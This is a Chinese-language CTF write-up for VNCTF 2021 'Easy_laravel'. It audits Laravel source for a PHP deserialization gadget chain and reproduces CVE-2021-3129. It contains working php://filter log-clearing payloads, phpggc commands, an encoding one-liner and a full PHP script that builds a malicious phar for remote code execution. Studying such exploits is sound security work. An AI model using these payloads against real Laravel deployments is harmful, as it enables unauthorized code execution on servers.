[VNCTF 2021]Easy_laravel-PHP代码审计&CVE-2021-3129学习记录
上次做完那道代码审计后,好巧不巧,又有新的php代码审计题,也是Laravel,话不多说,进入正题
这题一进入就是这个页面,看到这个页面就想起了之前拿CVE打过的一个靶机,于是看了下版本号找找有没有CVE可以打
谷歌搜了下laravel 8.22.1 exploit,很绝望,这个版本几乎都是CVE的修复版本,没有可用的CVE,这题还提供了源代码,那就只能慢慢看了
又是熟悉的N多个文件夹,依旧是先全局搜索_destruct找可以用代码,这个垃圾数据太多了,看着头疼,于是找了function __destruct,注意_是2个
找了一圈没有发现_destruct()里有可直接利用的函数,当然得顺着destruct里面用到的函数慢慢往下看,结果可惜了,但是却找到了两个有可控参数样式好的类
一个是PendingBroadcast类,两个参数可控
一个则是ImportConfigurator类,也是两个参数可控
这里得说一下,我找的时候会很关注这种this->xxx->xxx类型的,因为他一般表示一个参数或者一个类调用某种方法,而这个参数或者类和方法一般很有用,可能可控,这就让我们有很大的扩展空间
我们可以找该方法在不同类中的定义,因为在很多类中有同名函数,然后我们可以看看有没有可以利用的,可惜的是这题我看了好久都没找到可以用的
自己本来也没做过啥题,思维一下子就被限制住了,好在大佬的WP给了提示同名函数在不同类中的定义如果也没用的话,可以试着看看__call()这个魔法方法,于是全局搜索找了找function __call
找了HigherOrderMessage中的这个_call
$expectation = $this->mock->{$this->method}($method);
这个和上面那种this->xxx->xxx样式相比其实差不多,但是更好,因为上面找的只能改变第一个xxx,相当于你不能改变调用的函数,你只能改变调用参数的类,也就是只能找同名函数在不同类中的定义。而这种this->xxx->{this->xxx}就牛逼了,两个xxx你都能改,也就说你能调用任意类中的任意方法,emem于是现在可以放心大胆的找一些可直接利用的函数了
直接全局搜索eval,数据也好多,看看有没有eval($this->型的吧,结果还真有,快乐了
$this->classCode可控,舒服了,现在可以构造利用链了
这题下面则是需要利用Laravel的漏洞使用我们构造的利用链
首先我们先复现一下漏洞,了解一下漏洞的利用过程吧,这里我参考了一篇公众号推文
将文件下载后先进/resources/views/welcome.blade.php将{{name}改成{{name}},否则页面无法正常显示,进入public目录启动laravel
访问首页
开启BP准备抓包,点击make variable optional抓包
这个漏洞的具体成因我就不说了,有兴趣可以去看看网上的其他文章,简单来说就是viewFile的参数最后会传进file_get_contents()执行,所以如果传入一个 phar 文件就会造成 php 反序列漏洞
假如网站本身存在上传功能,我们可以通过 phpgcc 来生成 php 反序列文件,然后将其作为viewFile的参数执行漏洞
./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o ./phar.gif
但是一般的网站可能并没有文件上传的功能,所以这个时候我们可以考虑利用利用laravel.log实现phar反序列化
该利用方法的核心步骤是将laravel.log里的内容清空,然后利用php://filter/write=写入phar反序列化的payload,最后发送请求利用 file_get_contents() 去触发phar反序列化
完整的漏洞利用过程:
1.发送如下数据包,将原日志文件laravel.log清空:
php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
2.用phpggc生成phar序列化利用POC(编码后的)
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
得到的POC(编码后的)最后面再加一个a,否则最终laravel.log里面将生成两个POC,导致利用失败
3.发送如下数据包,给Log增加一次前缀,用于对齐:
4.将POC作为viewFile的值,发送数据包
5.发送如下数据包,清空对log文件中的干扰字符,只留下POC:
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
6.使用phar://进行反序列化,执行任意代码
执行成功,至此漏洞利用成功
github上也有整合上面步骤构成的利用脚本
成功执行
回到题目本身,我们试试这个exp还能不能用
很明显phpggc提供的利用链用不了了,只能用我们上面挖的了,这里copy了大佬的脚本
<?php
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
private $parent;
private $route;
public function __construct($class){
$this->parent = $class;
$this->route = 'test';
}
}
}
namespace Mockery{
class HigherOrderMessage{
private $mock;
private $method;
public function __construct($class){
$this->mock = $class;
$this->method = 'generate';
}
}
}
namespace PHPUnit\Framework\MockObject{
final class MockTrait{
private $classCode;
private $mockName;
public function __construct(){
$this->classCode = "phpinfo();";
$this->mockName = '123';
}
}
}
namespace{
use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
use \Mockery\HigherOrderMessage;
use \PHPUnit\Framework\MockObject\MockTrait;
$m = new MockTrait();
$h = new HigherOrderMessage($m);
$i = new ImportConfigurator($h);
$phar = new Phar("shell.phar");
$phar -> startBuffering();
$phar -> addFromString("test.txt","test");
$phar -> setStub("GIF89a"."<?php __HALT_COMPILER();?>");
$phar -> setMetadata($i);
$phar -> stopBuffering();
}
?>
执行poc.php脚本生成shell.phar:
php -d "phar.readonly=0" poc.php
然后执行如下命令对payload进行编码:
cat shell.phar | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
剩下的就是和上面的漏洞利用方法一样进行利用
可是很奇怪,我这里一直读取不了,试了很久也没啥结果,为了验证是不是发的包有问题,我在本地搭了laravel,用它提供的vendor和我们自己挖的链,结果是可以利用的,不知道是不是题目的问题,有点自闭了,到此为止吧,也算学了一些东西。